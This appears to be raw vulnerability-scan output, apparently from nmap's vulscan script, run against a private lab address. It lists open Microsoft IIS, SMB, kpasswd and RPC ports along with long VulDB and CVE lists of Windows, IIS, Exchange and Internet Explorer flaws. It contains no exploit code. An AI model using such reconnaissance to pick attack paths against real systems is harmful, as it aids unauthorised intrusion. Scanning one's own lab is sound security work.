[169524] Microsoft Windows 10 20H2 up to Server 2019 Microsoft.PowerShell.Utility Module protection mechanism
[169521] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Network File System denial of service
[169498] Microsoft Windows 10 up to Server 2019 unknown vulnerability
[169497] Microsoft Windows 10 Version 1809 for 32-bit Systems Codecs Library unknown vulnerability
[169487] Microsoft Windows 10 up to Server 2019 Graphics unknown vulnerability
[167700] Microsoft Windows 10 up to Server 2019 RDP authorization
[167636] Microsoft Windows 10 20H2 up to Server 2004 Hyper-V denial of service
[160903] Microsoft Windows 10 2004 Shell Infrastructure privilege escalation
[160868] Microsoft Windows 10 2004/Server 2004 Projected Filesystem privilege escalation
[159509] Microsoft Windows 10 1909/10 2004 Codecs Library memory corruption
[159496] Microsoft Windows up to 10 2004 Codecs Library memory corruption
[157988] Microsoft Windows 10 2004/Server 2004 Subsystem for Linux privilege escalation
[156422] Microsoft Windows 10 2004/Server 2004 SMBv3 denial of service
[156370] Microsoft Windows 10 2004/Server 2004 Connected User Experiences/Telemetry Service privilege escalation
[156303] Microsoft Windows 10 1709/10 1803/10 1809/10 1903/Server 2004 Feedback Hub privilege escalation
[153235] Microsoft Windows 10 1903/10 1909/Server 1903/Server 1909 Media Foundation information disclosure
[153228] Microsoft Windows 10 1903/10 1909/Server 1903/Server 1909 Media Foundation information disclosure
[151171] Microsoft Windows 10 1607/Server 2016 Graphics Component privilege escalation
[149962] Microsoft Windows 10 1903/10 1909/Server 1903/Server 1909 Hyper-V privilege escalation
[149945] Microsoft Windows 10/10 1607/Server 2016 DirectX privilege escalation
[149928] Microsoft Windows 10/Server 2016 DirectX privilege escalation
[149039] Microsoft Windows 10 1803/Server 2019 RDP Session Lockscreen weak authentication
[148650] Microsoft Windows 10 1903/10 1909/Server 1903/Server 1909 Subsystem for Linux privilege escalation
[148638] Microsoft Windows 10 1903/10 1909/Server 1903/Server 1909 Win32k privilege escalation
[146874] Microsoft Windows 10 1809/Server 2019 Printer Service privilege escalation
[145353] Microsoft Windows 10 1809/10 1903/Server 2019 Data Sharing Service privilege escalation
[145341] Microsoft Windows 10 1903/Server 1903 Media Foundation memory corruption
[143098] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 Update Client information disclosure
[143097] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 Update Client privilege escalation
[143088] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 Update Client privilege escalation
[143076] Microsoft Windows 10 1703/10 1709/10 1803/Server 1803/Server 2019 Hyper-V privilege escalation
[139935] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 NTFS privilege escalation
[139912] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 Hyper-V Network Switch privilege escalation
[136321] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 Audio Service privilege escalation
[136275] Microsoft Windows 10/10 1607/10 1703/10 1709/Server 2016 Hyper-V privilege escalation
[133210] Microsoft Windows 10 1703/10 1709/10 1803/Server 1709/Server 1803 DirectX information disclosure
[131650] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 Hyper-V privilege escalation
[131632] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 DHCP Client memory corruption
[131631] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 DHCP Client memory corruption
[131630] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 DHCP Client memory corruption
[128722] Microsoft Windows 10 1803/Server 1803 DHCP Client memory corruption
[128717] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 Hyper-V privilege escalation
[127881] Microsoft Windows 10 1809/Server 2019 memory corruption
[127827] Microsoft Windows 10 1809/Server 2019 DirectX information disclosure
[127826] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 Win32k information disclosure
[126733] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 DirectX privilege escalation
[125112] Microsoft Windows 10 1803/Server 1803 Subsystem for Linux privilege escalation
[123867] Microsoft Windows 10 1803/Server 1803 Hyper-V privilege escalation
[123866] Microsoft Windows 10 1803/Server 1803 Hyper-V privilege escalation
[122888] Microsoft Windows 10 1703/10 1709/10 1803/Server 1709/Server 1803 Windows Shell privilege escalation
[122826] Microsoft Windows 10 1703/10 1709/10 1803/Server 1709/Server 1803 PDF memory corruption
[119471] Microsoft Windows 10 1803/Server 1803 Win32k privilege escalation
[119466] Microsoft Windows 10 1709/Server 1709 Hyper-V privilege escalation
[119453] Microsoft Windows 10 1709/10 1803/Server 1709/Server 1803 WebDAV privilege escalation
[119450] Microsoft Windows 10 1703/10 1709/10 1803/Server 1709/Server 1803 Kernel information disclosure
[116020] Microsoft Windows 10 1607/10 1703/10 1709/Server 1709/Server 2016 Active Directory 7PK Security Features
[114565] Microsoft Windows 10 1607/10 1703/10 1709/Server 1709/Server 2016 Kernel information disclosure
[114534] Microsoft Windows 10/10 1511/10 1607/10 1703/10 1709 Scripting Host 7PK Security Features
[114522] Microsoft Windows 10 1607/10 1703/Server 2016 Desktop Bridge privilege escalation
[114520] Microsoft Windows 10/Server 1709/Server 2016 Desktop Bridge privilege escalation
[114517] Microsoft Windows 10/Server 1709/Server 2016 Desktop Bridge VFS privilege escalation
[113262] Microsoft Windows 10/Server 1709 Storage Services privilege escalation
[113261] Microsoft Windows 10/Server 1709 Security Feature 7PK Security Features
[113259] Microsoft Windows 10/Server 1709/Server 2016 NTFS privilege escalation
[113258] Microsoft Windows 10/Server 1709 Kernel information disclosure
[113253] Microsoft Windows 10/Server 1709/Server 2016 Kernel privilege escalation
[113251] Microsoft Windows 10/Server 1709 Kernel privilege escalation
[113250] Microsoft Windows 10/Server 1709/Server 2016 Kernel privilege escalation
[113243] Microsoft Windows 10/Server 2016 MultiPoint Management privilege escalation
[113240] Microsoft Windows 10/Server 1709/Server 2016 AppContainer privilege escalation
[113238] Microsoft Windows 10 1709/Server 1709 Named Pipe File System privilege escalation
[110531] Microsoft Windows 10/Server 2016 Device Guard 7PK Security Features
[107753] Microsoft Windows 10/Server 2016 SMB Data Processing Error
[107734] Microsoft Windows 10/Server 2016 SMB privilege escalation
[105049] Microsoft Windows 10 1703 Remote Desktop Protocol Data Processing Error
[105013] Microsoft Windows 10 1607/10 1703/Server 2016 Hyper-V privilege escalation
[103442] Microsoft Windows 10/Server 2016 HoloLens privilege escalation
[101028] Microsoft Windows 10/Server 2016 Hyper-V vSMB privilege escalation
[99683] Microsoft Windows 10 1607/10 1703/Server 2012 R2/Server 2016 Active Directory 7PK Security Features
[99667] Microsoft Windows 10/Server 2016 Active Directory Service Unresponsive privilege escalation
[98272] Microsoft Windows up to 10/Server 2016 Local Session privilege escalation
[98015] Microsoft Windows 10/Server 2016 Hyper-V privilege escalation
[98013] Microsoft Windows 10/Server 2016 Hyper-V vSMB privilege escalation
[98007] Microsoft Windows 10/Server 2016 Hyper-V Network Switch privilege escalation
[98006] Microsoft Windows 10/Server 2016 Hyper-V vSMB privilege escalation
[94436] Microsoft Windows 10 Graphics Data Processing Error
[92595] Microsoft Windows 10 Diagnostics Hub privilege escalation
[91560] Microsoft Windows 10 Object memory corruption
[90712] Microsoft Windows 10/10 1511 Universal Outlook information disclosure
[87952] Microsoft Windows 10/10 1511 Diagnostic Hub Data Processing Error
[87946] Microsoft Windows 10 Kernel win32k.sys privilege escalation
[82234] Microsoft Windows 10 HTTP.sys Data Processing Error
[81271] Microsoft Windows 10 PDF Library privilege escalation
[80229] Microsoft Exchange Server 2013 CU 10/2013 CU 11/2013 SP1/2016 Outlook Web Access cross site scripting
[80227] Microsoft Exchange Server 2013 CU 10/2013 SP1/2016 Outlook Web Access cross site scripting
[80223] Microsoft Windows 10/1511 RDP Service 7PK Security Features
[79515] Microsoft Windows 10 Kernel privilege escalation
[75760] Microsoft Windows Media Player 10/11/12 DataObject Code
[75399] Trend Micro ScanMail for Microsoft Exchange up to 10.2/11.0 Session ID Generator weak encryption
[19222] Microsoft Office Web Components 10 DataSourceControl ConnectionFile information disclosure
[19221] Microsoft Office Web Components 10 Spreadsheet File information disclosure
[2724] Microsoft Windows up to 10 Media Player memory corruption
[2054] Microsoft Windows up to 10 Media Player memory corruption

MITRE CVE - https://cve.mitre.org:
[CVE-2012-4591] About.aspx in the Portal in McAfee Enterprise Mobility Manager (EMM) before 10.0 discloses the name of the user account for an IIS worker process, which allows remote attackers to obtain potentially sensitive information by visiting this page.
[CVE-2012-1945] Mozilla Firefox 4.x through 12.0, Firefox ESR 10.x before 10.0.5, Thunderbird 5.0 through 12.0, Thunderbird ESR 10.x before 10.0.5, and SeaMonkey before 2.10 allow local users to obtain sensitive information via an HTML document that loads a shortcut (aka .lnk) file for display within an IFRAME element, as demonstrated by a network share implemented by (1) Microsoft Windows or (2) Samba.
[CVE-2012-1459] The TAR file parser in AhnLab V3 Internet Security 2011.01.18.00, Avira AntiVir 7.11.1.163, Antiy Labs AVL SDK 2.0.3.7, avast! Antivirus 4.8.1351.0 and 5.0.677.0, AVG Anti-Virus 10.0.0.1190, Bitdefender 7.2, Quick Heal (aka Cat QuickHeal) 11.00, ClamAV 0.96.4, Command Antivirus 5.2.11.5, Comodo Antivirus 7424, Emsisoft Anti-Malware 5.1.0.1, F-Prot Antivirus 4.6.2.117, F-Secure Anti-Virus 9.0.16160.0, Fortinet Antivirus 4.2.254.0, G Data AntiVirus 21, Ikarus Virus Utilities T3 Command Line Scanner 1.1.97.0, Jiangmin Antivirus 13.0.900, K7 AntiVirus 9.77.3565, Kaspersky Anti-Virus 7.0.0.125, McAfee Anti-Virus Scanning Engine 5.400.0.1158, McAfee Gateway (formerly Webwasher) 2010.1C, Antimalware Engine 1.1.6402.0 in Microsoft Security Essentials 2.0, NOD32 Antivirus 5795, Norman Antivirus 6.06.12, nProtect Anti-Virus 2011-01-17.01, Panda Antivirus 10.0.2.7, PC Tools AntiVirus 7.0.3.5, Rising Antivirus 22.83.00.03, Sophos Anti-Virus 4.61.0, AVEngine 20101.3.0.103 in Symantec Endpoint Protection 11, Trend Micro AntiVirus 9.120.0.1004, Trend Micro HouseCall 9.120.0.1004, VBA32 3.12.14.2, and VirusBuster 13.6.151.0 allows remote attackers to bypass malware detection via a TAR archive entry with a length field corresponding to that entire entry, plus part of the header of the next entry.  NOTE: this may later be SPLIT into multiple CVEs if additional information is published showing that the error occurred independently in different TAR parser implementations.
[CVE-2012-1457] The TAR file parser in Avira AntiVir 7.11.1.163, Antiy Labs AVL SDK 2.0.3.7, avast! Antivirus 4.8.1351.0 and 5.0.677.0, AVG Anti-Virus 10.0.0.1190, Bitdefender 7.2, Quick Heal (aka Cat QuickHeal) 11.00, ClamAV 0.96.4, Command Antivirus 5.2.11.5, Emsisoft Anti-Malware 5.1.0.1, eSafe 7.0.17.0, F-Prot Antivirus 4.6.2.117, G Data AntiVirus 21, Ikarus Virus Utilities T3 Command Line Scanner 1.1.97.0, Jiangmin Antivirus 13.0.900, K7 AntiVirus 9.77.3565, Kaspersky Anti-Virus 7.0.0.125, McAfee Anti-Virus Scanning Engine 5.400.0.1158, McAfee Gateway (formerly Webwasher) 2010.1C, Antimalware Engine 1.1.6402.0 in Microsoft Security Essentials 2.0, NOD32 Antivirus 5795, Norman Antivirus 6.06.12, PC Tools AntiVirus 7.0.3.5, Rising Antivirus 22.83.00.03, AVEngine 20101.3.0.103 in Symantec Endpoint Protection 11, Trend Micro AntiVirus 9.120.0.1004, Trend Micro HouseCall 9.120.0.1004, VBA32 3.12.14.2, and VirusBuster 13.6.151.0 allows remote attackers to bypass malware detection via a TAR archive entry with a length field that exceeds the total TAR file size.  NOTE: this may later be SPLIT into multiple CVEs if additional information is published showing that the error occurred independently in different TAR parser implementations.
[CVE-2012-1453] The CAB file parser in Dr.Web 5.0.2.03300, Trend Micro HouseCall 9.120.0.1004, Kaspersky Anti-Virus 7.0.0.125, Sophos Anti-Virus 4.61.0, Trend Micro AntiVirus 9.120.0.1004, McAfee Gateway (formerly Webwasher) 2010.1C, Emsisoft Anti-Malware 5.1.0.1, CA eTrust Vet Antivirus 36.1.8511, Antiy Labs AVL SDK 2.0.3.7, Antimalware Engine 1.1.6402.0 in Microsoft Security Essentials 2.0, Rising Antivirus 22.83.00.03, Ikarus Virus Utilities T3 Command Line Scanner 1.1.97.0, Fortinet Antivirus 4.2.254.0, and Panda Antivirus 10.0.2.7 allows remote attackers to bypass malware detection via a CAB file with a modified coffFiles field.  NOTE: this may later be SPLIT into multiple CVEs if additional information is published showing that the error occurred independently in different CAB parser implementations.
[CVE-2012-1443] The RAR file parser in ClamAV 0.96.4, Rising Antivirus 22.83.00.03, Quick Heal (aka Cat QuickHeal) 11.00, G Data AntiVirus 21, AVEngine 20101.3.0.103 in Symantec Endpoint Protection 11, Command Antivirus 5.2.11.5, Ikarus Virus Utilities T3 Command Line Scanner 1.1.97.0, Emsisoft Anti-Malware 5.1.0.1, PC Tools AntiVirus 7.0.3.5, F-Prot Antivirus 4.6.2.117, VirusBuster 13.6.151.0, Fortinet Antivirus 4.2.254.0, Antiy Labs AVL SDK 2.0.3.7, K7 AntiVirus 9.77.3565, Trend Micro HouseCall 9.120.0.1004, Kaspersky Anti-Virus 7.0.0.125, Jiangmin Antivirus 13.0.900, Antimalware Engine 1.1.6402.0 in Microsoft Security Essentials 2.0, Sophos Anti-Virus 4.61.0, NOD32 Antivirus 5795, Avira AntiVir 7.11.1.163, Norman Antivirus 6.06.12, McAfee Anti-Virus Scanning Engine 5.400.0.1158, Panda Antivirus 10.0.2.7, McAfee Gateway (formerly Webwasher) 2010.1C, Trend Micro AntiVirus 9.120.0.1004, Comodo Antivirus 7424, Bitdefender 7.2, eSafe 7.0.17.0, F-Secure Anti-Virus 9.0.16160.0, nProtect Anti-Virus 2011-01-17.01, AhnLab V3 Internet Security 2011.01.18.00, AVG Anti-Virus 10.0.0.1190, avast! Antivirus 4.8.1351.0 and 5.0.677.0, and VBA32 3.12.14.2 allows user-assisted remote attackers to bypass malware detection via a RAR file with an initial MZ character sequence.  NOTE: this may later be SPLIT into multiple CVEs if additional information is published showing that the error occurred independently in different RAR parser implementations.
[CVE-2012-1436] The Microsoft EXE file parser in AhnLab V3 Internet Security 2011.01.18.00, Emsisoft Anti-Malware 5.1.0.1, eSafe 7.0.17.0, Ikarus Virus Utilities T3 Command Line Scanner 1.1.97.0, and Panda Antivirus 10.0.2.7 allows remote attackers to bypass malware detection via an EXE file with a \2D\6C\68 character sequence at a certain location. NOTE: this may later be SPLIT into multiple CVEs if additional information is published showing that the error occurred independently in different EXE parser implementations.
[CVE-2012-1435] The Microsoft EXE file parser in AhnLab V3 Internet Security 2011.01.18.00, Emsisoft Anti-Malware 5.1.0.1, eSafe 7.0.17.0, Ikarus Virus Utilities T3 Command Line Scanner 1.1.97.0, and Panda Antivirus 10.0.2.7 allows remote attackers to bypass malware detection via an EXE file with a \50\4B\4C\49\54\45 character sequence at a certain location.  NOTE: this may later be SPLIT into multiple CVEs if additional information is published showing that the error occurred independently in different EXE parser implementations.
[CVE-2012-1434] The Microsoft EXE file parser in AhnLab V3 Internet Security 2011.01.18.00, Emsisoft Anti-Malware 5.1.0.1, Ikarus Virus Utilities T3 Command Line Scanner 1.1.97.0, and Panda Antivirus 10.0.2.7 allows remote attackers to bypass malware detection via an EXE file with a \19\04\00\10 character sequence at a certain location.  NOTE: this may later be SPLIT into multiple CVEs if additional information is published showing that the error occurred independently in different EXE parser implementations.
[CVE-2012-1433] The Microsoft EXE file parser in AhnLab V3 Internet Security 2011.01.18.00, Emsisoft Anti-Malware 5.1.0.1, eSafe 7.0.17.0, Ikarus Virus Utilities T3 Command Line Scanner 1.1.97.0, and Panda Antivirus 10.0.2.7 allows remote attackers to bypass malware detection via an EXE file with a \4a\46\49\46 character sequence at a certain location. NOTE: this may later be SPLIT into multiple CVEs if additional information is published showing that the error occurred independently in different EXE parser implementations.
[CVE-2012-1432] The Microsoft EXE file parser in Emsisoft Anti-Malware 5.1.0.1, eSafe 7.0.17.0, Ikarus Virus Utilities T3 Command Line Scanner 1.1.97.0, and Panda Antivirus 10.0.2.7 allows remote attackers to bypass malware detection via an EXE file with a \57\69\6E\5A\69\70 character sequence at a certain location.  NOTE: this may later be SPLIT into multiple CVEs if additional information is published showing that the error occurred independently in different EXE parser implementations.
[CVE-2012-1420] The TAR file parser in Quick Heal (aka Cat QuickHeal) 11.00, Command Antivirus 5.2.11.5, F-Prot Antivirus 4.6.2.117, Fortinet Antivirus 4.2.254.0, K7 AntiVirus 9.77.3565, Kaspersky Anti-Virus 7.0.0.125, Antimalware Engine 1.1.6402.0 in Microsoft Security Essentials 2.0, NOD32 Antivirus 5795, Norman Antivirus 6.06.12, Panda Antivirus 10.0.2.7, and Rising Antivirus 22.83.00.03 allows remote attackers to bypass malware detection via a POSIX TAR file with an initial \7fELF character sequence.  NOTE: this may later be SPLIT into multiple CVEs if additional information is published showing that the error occurred independently in different TAR parser implementations.
[CVE-2010-2375] Package/Privilege: Plugins for Apache, Sun and IIS web servers Unspecified vulnerability in the WebLogic Server component in Oracle Fusion Middleware 7.0 SP7, 8.1 SP6, 9.0, 9.1, 9.2 MP3, 10.0 MP2, 10.3.2, and 10.3.3 allows remote attackers to affect confidentiality and integrity, related to IIS.
[CVE-2010-1681] Buffer overflow in VISIODWG.DLL before 10.0.6880.4 in Microsoft Office Visio allows user-assisted remote attackers to execute arbitrary code via a crafted DXF file, a different vulnerability than CVE-2010-0254 and CVE-2010-0256.
[CVE-2009-1016] Unspecified vulnerability in the WebLogic Server component in BEA Product Suite 10.3, 10.0 MP1, 9.2 MP3, 9.1, 9.0, 8.1 SP6, and 7.0 SP7 allows remote authenticated users to affect confidentiality, integrity, and availability, related to IIS.  NOTE: the previous information was obtained from the April 2009 CPU.  Oracle has not commented on claims from a reliable researcher that this is a stack-based buffer overflow involving an unspecified Server Plug-in and a crafted SSL certificate.
[CVE-2009-1012] Unspecified vulnerability in the plug-ins for Apache and IIS web servers in Oracle BEA WebLogic Server 7.0 Gold through SP7, 8.1 Gold through SP6, 9.0, 9.1, 9.2 Gold through MP3, 10.0 Gold through MP1, and 10.3 allows remote attackers to affect confidentiality, integrity, and availability.  NOTE: the previous information was obtained from the April 2009 CPU.  Oracle has not commented on claims from a reliable researcher that this is an integer overflow in an unspecified plug-in that parses HTTP requests, which leads to a heap-based buffer overflow.
[CVE-2009-0537] Integer overflow in the fts_build function in fts.c in libc in (1) OpenBSD 4.4 and earlier and (2) Microsoft Interix 6.0 build 10.0.6030.0 allows context-dependent attackers to cause a denial of service (application crash) via a deep directory tree, related to the fts_level structure member, as demonstrated by (a) du, (b) rm, (c) chmod, and (d) chgrp on OpenBSD
[CVE-2008-5457] Unspecified vulnerability in the Oracle BEA WebLogic Server Plugins for Apache, Sun and IIS web servers component in BEA Product Suite 10.3, 10.0 MP1, 9.2 MP3, 9.1, 9.0, 8.1 SP6, and 7.0 SP7 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors.
[CVE-2008-2579] Unspecified vulnerability in the WebLogic Server Plugins for Apache, Sun and IIS web servers component in Oracle BEA Product Suite 10.0 MP1, 9.2 MP3, 9.1, 9.0, 8.1 SP6, 7.0 SP7, and 6.1 SP7 has unknown impact and remote attack vectors.
[CVE-2008-2463] The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message, probably involving use of the SnapshotPath and CompressedPath properties and the PrintSnapshot method. NOTE: this can be leveraged for code execution by writing to a Startup folder.
[CVE-2007-3901] Stack-based buffer overflow in the DirectShow Synchronized Accessible Media Interchange (SAMI) parser in quartz.dll for Microsoft DirectX 7.0 through 10.0 allows remote attackers to execute arbitrary code via a crafted SAMI file.
[CVE-2007-3895] Buffer overflow in Microsoft DirectShow in Microsoft DirectX 7.0 through 10.0 allows remote attackers to execute arbitrary code via a crafted (1) WAV or (2) AVI file.
[CVE-2006-6601] Windows Media Player 10.00.00.4036 in Microsoft Windows XP SP2 allows user-assisted remote attackers to cause a denial of service via a .MID (MIDI) file with a malformed header chunk without any track chunks, possibly involving (1) number of tracks of (2) time division fields that are set to 0.
[CVE-2006-6134] Heap-based buffer overflow in the WMCheckURLScheme function in WMVCORE.DLL in Microsoft Windows Media Player (WMP) 10.00.00.4036 on Windows XP SP2, Server 2003, and Server 2003 SP1 allows remote attackers to cause a denial of service (application crash) and execute arbitrary code via a long HREF attribute, using an unrecognized protocol, in a REF element in an ASX PlayList file.
[CVE-2004-1312] A bug in the HTML parser in a certain Microsoft HTML library, as used in various third party products, may allow remote attackers to cause a denial of service via certain strings, as reported in GFI MailEssentials for Exchange 9 and 10, and GFI MailSecurity for Exchange 8, which causes emails to remain in IIS or Exchange mail queues.
[CVE-2013-4015] Microsoft Internet Explorer 6 through 10 allows local users to bypass the elevation policy check in the (1) Protected Mode or (2) Enhanced Protected Mode protection mechanism, and consequently gain privileges, by leveraging the ability to execute sandboxed code.
[CVE-2013-3166] Cross-site scripting (XSS) vulnerability in Microsoft Internet Explorer 6 through 10 allows remote attackers to inject arbitrary web script or HTML via vectors involving incorrect auto-selection of the Shift JIS encoding, leading to cross-domain scrolling events, aka "Shift JIS Character Encoding Vulnerability," a different vulnerability than CVE-2013-0015.
[CVE-2013-3163] Microsoft Internet Explorer 8 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3144 and CVE-2013-3151.
[CVE-2013-3162] Microsoft Internet Explorer 7 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3115.
[CVE-2013-3161] Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3143.
[CVE-2013-3153] Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3148.
[CVE-2013-3152] Microsoft Internet Explorer 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3146.
[CVE-2013-3151] Microsoft Internet Explorer 8 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3144 and CVE-2013-3163.
[CVE-2013-3148] Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3153.
[CVE-2013-3146] Microsoft Internet Explorer 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3152.
[CVE-2013-3144] Microsoft Internet Explorer 8 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3151 and CVE-2013-3163.
[CVE-2013-3143] Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3161.
[CVE-2013-3142] Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3112, CVE-2013-3113, CVE-2013-3121, and CVE-2013-3139.
[CVE-2013-3139] Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3112, CVE-2013-3113, CVE-2013-3121, and CVE-2013-3142.
[CVE-2013-3126] Microsoft Internet Explorer 9 and 10, when script debugging is enabled, does not properly handle objects in memory during the processing of script, which allows remote attackers to execute arbitrary code via a crafted web site, aka "Internet Explorer Script Debug Vulnerability."
[CVE-2013-3125] Microsoft Internet Explorer 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3118 and CVE-2013-3120.
[CVE-2013-3123] Microsoft Internet Explorer 8 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3111.
[CVE-2013-3121] Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3112, CVE-2013-3113, CVE-2013-3139, and CVE-2013-3142.
[CVE-2013-3120] Microsoft Internet Explorer 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3118 and CVE-2013-3125.
[CVE-2013-3119] Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3114.
[CVE-2013-3118] Microsoft Internet Explorer 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3120 and CVE-2013-3125.
[CVE-2013-3115] Microsoft Internet Explorer 7 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3162.
[CVE-2013-3114] Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3119.
[CVE-2013-3113] Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3112, CVE-2013-3121, CVE-2013-3139, and CVE-2013-3142.
[CVE-2013-3112] Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code or cause a denial of		N/A

				192.168.186.128		443		tcp		open		http		ssl		script		http-server-header		100%		syn-ack		Microsoft IIS httpd		10.0		Microsoft-IIS/10.0		N/A

				192.168.186.128		445		tcp		open		microsoft-ds				scanner		table		30%		syn-ack								N/A

				192.168.186.128		464		tcp		open		kpasswd5				scanner		table		30%		syn-ack								N/A

				192.168.186.128		593		tcp		open		ncacn_http				scanner		probed		100%		syn-ack		Microsoft Windows RPC over HTTP		1.0				N/A

				192.168.186.128		593		tcp		open		ncacn_http				script		vulscan		100%		syn-ack		Microsoft Windows RPC over HTTP		1.0		VulDB - https://vuldb.com:
[174865] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 HTTP Protocol Stack unknown vulnerability
[174843] Microsoft Windows 10 1809/Server 2019 Container Isolation FS Filter Driver unknown vulnerability
[173895] Netgear R7000 1.0.11.116 HTTP Request backup.cgi heap-based overflow
[169497] Microsoft Windows 10 Version 1809 for 32-bit Systems Codecs Library unknown vulnerability
[167637] Microsoft Windows 8.1/10/10 1607/Server 2012 R2/Server 2016 Hyper-V denial of service
[159509] Microsoft Windows 10 1909/10 2004 Codecs Library memory corruption
[156303] Microsoft Windows 10 1709/10 1803/10 1809/10 1903/Server 2004 Feedback Hub privilege escalation
[153235] Microsoft Windows 10 1903/10 1909/Server 1903/Server 1909 Media Foundation information disclosure
[153228] Microsoft Windows 10 1903/10 1909/Server 1903/Server 1909 Media Foundation information disclosure
[151171] Microsoft Windows 10 1607/Server 2016 Graphics Component privilege escalation
[151094] Microsoft Windows up to Server 1909 Defender privilege escalation
[149962] Microsoft Windows 10 1903/10 1909/Server 1903/Server 1909 Hyper-V privilege escalation
[149945] Microsoft Windows 10/10 1607/Server 2016 DirectX privilege escalation
[149039] Microsoft Windows 10 1803/Server 2019 RDP Session Lockscreen weak authentication
[148650] Microsoft Windows 10 1903/10 1909/Server 1903/Server 1909 Subsystem for Linux privilege escalation
[148638] Microsoft Windows 10 1903/10 1909/Server 1903/Server 1909 Win32k privilege escalation
[146874] Microsoft Windows 10 1809/Server 2019 Printer Service privilege escalation
[145353] Microsoft Windows 10 1809/10 1903/Server 2019 Data Sharing Service privilege escalation
[145341] Microsoft Windows 10 1903/Server 1903 Media Foundation memory corruption
[143098] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 Update Client information disclosure
[143097] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 Update Client privilege escalation
[143088] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 Update Client privilege escalation
[143076] Microsoft Windows 10 1703/10 1709/10 1803/Server 1803/Server 2019 Hyper-V privilege escalation
[139935] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 NTFS privilege escalation
[139912] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 Hyper-V Network Switch privilege escalation
[137538] Microsoft Windows Server 1803/Server 1903/Server 2016/Server 2019 ADFS Security Feature 7PK Security Features
[136321] Microsoft Windows 10 1809/10 1903/Server 1903/Server 2019 Audio Service privilege escalation
